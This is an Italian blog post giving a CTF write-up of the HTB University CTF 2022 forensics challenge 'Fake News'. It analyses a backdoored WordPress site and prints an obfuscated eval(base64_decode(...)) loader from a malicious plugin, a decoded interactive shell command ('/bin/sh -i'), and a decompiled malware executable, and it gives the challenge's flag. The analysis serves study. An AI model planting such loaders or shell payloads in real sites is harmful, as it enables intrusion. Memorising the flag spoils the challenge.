Eklablog
Edit post Follow this blog Administration + Create my blog

HTB University CTF 2022 - Fake News

Allegati: forensics_fake_news.zip

Per risolvere questa challenge, innanzitutto, abbiamo verificato la versione di WordPress andando al percorso html/wp-includes/version.php

/**
 * The WordPress version string.
 *
 * Holds the current version number for WordPress core. Used to bust caches
 * and to enable development mode for scripts when running from the /src directory.
 *
 * @global string $wp_version
 */
$wp_version = '6.1.1';

A questo punto possiamo andare a scaricare l'archivio base. Eseguendo un diff check possiamo notare che sono stati aggiunti i seguenti files e le seguenti cartelle

┌──(exto㉿vm)-[~/Scrivania]
└─$ diff -rq html/ wordpress/
Solo in html/: .htaccess
Solo in html/: wp-blogs
Solo in html/: wp-config-docker.php
Solo in html/: wp-config.php
Solo in html/wp-content: cache
Solo in html/wp-content/plugins: plugin-manager
Solo in html/wp-content/themes: maintheme
Solo in html/wp-content: upgrade
Solo in html/wp-content: uploads
Parte 1

Andiamo ad analizzare la cartella plugin-manager e possiamo notare che il file plugin-manager.php contiene del codice interessante:

<?php

eval(base64_decode("c2V0X3RpbWVfbGltaXQgKDApOw...gIiRzdHJpbmdcbiI7Cgl9Cn0="));

?>

Che convertito diventa

...
$write_a = null;
$error_a = null;
$part1 = "HTB{C0m3_0n";
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...
Parte 2

A questo punto andiamo a vedere anche gli altri files: è presente un'altra cartella denominata wp-blogs che ha all'interno index.php. Questo file sembra strano e contiene una funzione JavaScript che però non porta a nulla. Se rinominiamo il file in .html e lo apriamo con Firefox noteremo che viene avviato un download, infatti viene scaricato il file official_invitation.iso. Se scompattiamo questo file ISO vedremo che all'interno è presente un eseguibile chiamato official_invitation.exe. Andiamo ad analizzarlo con Ghidra.

La funzione FUN_1400015ae contiene delle variabili

void FUN_1400015ae(void)
{
  longlong lVar1;
  undefined8 *puVar2;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined2 local_b8;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined4 local_88;
  undefined4 local_4c;
  undefined2 local_48;
  DWORD local_1c;
  
  FUN_1400018b0();
  puVar2 = (undefined8 *)&local_88;
  for (lVar1 = 0xd; lVar1 != 0; lVar1 = lVar1 + -1) {
    *puVar2 = 0;
    puVar2 = puVar2 + 1;
  }
  local_88 = 0x68;
  local_4c = 1;
  local_48 = 0;
  local_a8 = 0;
  local_a0 = 0;
  local_98 = 0;
  local_1c = GetCurrentProcessId();
  local_d8 = 0x315f3a3274726170;
  local_d0 = 0x30745f7334775f74;
  local_c8 = 0x745f643030675f30;
  local_c0 = 0x7572745f33625f30;
  local_b8 = 0x7d33;
  FUN_140001530((longlong)&DAT_140003020,0x23f2c,(longlong)&local_d8,0x22);
  FUN_1400016ac(local_1c);
  do {
    Sleep(50000);
  } while( true );
}

In particolare, local_d8, local_d0, local_c8, local_c0, local_b8 compongono quelle che potrebbero essere le altre parti della flag. Convertite in stringhe sono rispettivamente

  local_d8 = "1_:2trap";  // part2:_1
  local_d0 = "0t_s4w_t";  // t_w4s_t0
  local_c8 = "t_d00g_0";  // 0_g00d_t
  local_c0 = "urt_3b_0";  // 0_b3_tru
  local_b8 = "}3";        // 3}

E notiamo subito che se facciamo reverse delle stringhe e le concateniamo riusciamo a ottenere la flag.

HTB{C0m3_0n_1t_w4s_t00_g00d_t0_b3_tru3}
Back to home page
Share this post
Repost0
To be informed of the latest articles, subscribe:
Comment on this post